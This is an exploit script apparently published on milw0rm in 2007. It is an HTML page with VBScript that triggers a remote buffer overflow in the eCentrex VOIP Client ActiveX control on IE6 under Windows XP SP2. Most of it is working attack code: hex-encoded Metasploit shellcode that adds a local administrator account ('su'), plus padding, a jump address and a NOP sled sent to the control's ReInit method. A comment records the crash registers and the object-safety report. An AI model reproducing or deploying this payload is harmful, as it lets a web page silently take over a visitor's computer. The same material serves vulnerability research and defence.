65 lines
No EOL
3.2 KiB
HTML
65 lines
No EOL
3.2 KiB
HTML
<!--
|
|
17/08/2007 04.41.37
|
|
eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow
|
|
exploit (ie6 / xp sp2)
|
|
|
|
passing more than 164 chars to ReInit method in Username argument
|
|
EAX 41414131
|
|
ECX 0013D444 ASCII "AAAAAAAA...
|
|
EDX 00000000
|
|
EBX 00000000
|
|
ESP 0013D3A0
|
|
EBP 0013D458 ASCII "AAAAAAAA...
|
|
ESI 41414131
|
|
EDI 00000001
|
|
EIP 04C4C945 euacom.04C4C945
|
|
|
|
...
|
|
04C4C945 8B0E MOV ECX,DWORD PTR DS:[ESI]
|
|
04C4C947 8B01 MOV EAX,DWORD PTR DS:[ECX]
|
|
04C4C949 FF50 10 CALL DWORD PTR DS:[EAX+10]
|
|
|
|
Access violation when reading 41414131
|
|
also seh is overwritten
|
|
|
|
object safety report
|
|
RegKey Safe for Script: False
|
|
RegKey Safe for Init: False
|
|
Implements IObjectSafety: True
|
|
IDisp Safe: Safe for untrusted: caller,data
|
|
IPStorage Safe: Safe for untrusted: caller,data
|
|
KillBitSet: False
|
|
|
|
this was the codebase:
|
|
http://202.73.10.134/e800/euacom/uacomx.cab
|
|
|
|
vendor:
|
|
http://www.e800phone.com/abtus.htm
|
|
|
|
rgod.
|
|
site: http://retrogod.altervista.org
|
|
-->
|
|
<html>
|
|
<object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object>
|
|
<script language='vbscript'>
|
|
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add
|
|
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")
|
|
|
|
'try this kind of command: msfpescan -d ./tools/iexplore -x "\x00\x13\x41\x00"
|
|
esi = unescape("%65%1a%2f%7e") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad...
|
|
|
|
l_pad = Replace( Space(2555), " ", unescape("%1b%27%3f%7e") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time?
|
|
|
|
l_nop = string(12222,unescape("%90"))
|
|
|
|
UserName = String(164,"A") + esi + l_pad + l_nop + scode
|
|
Password = ""
|
|
ProxyServerIP = ""
|
|
ProxyIP = ""
|
|
Project = ""
|
|
PortNo = 1
|
|
IUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo
|
|
</script>
|
|
</html>
|
|
|
|
# milw0rm.com [2007-08-21] |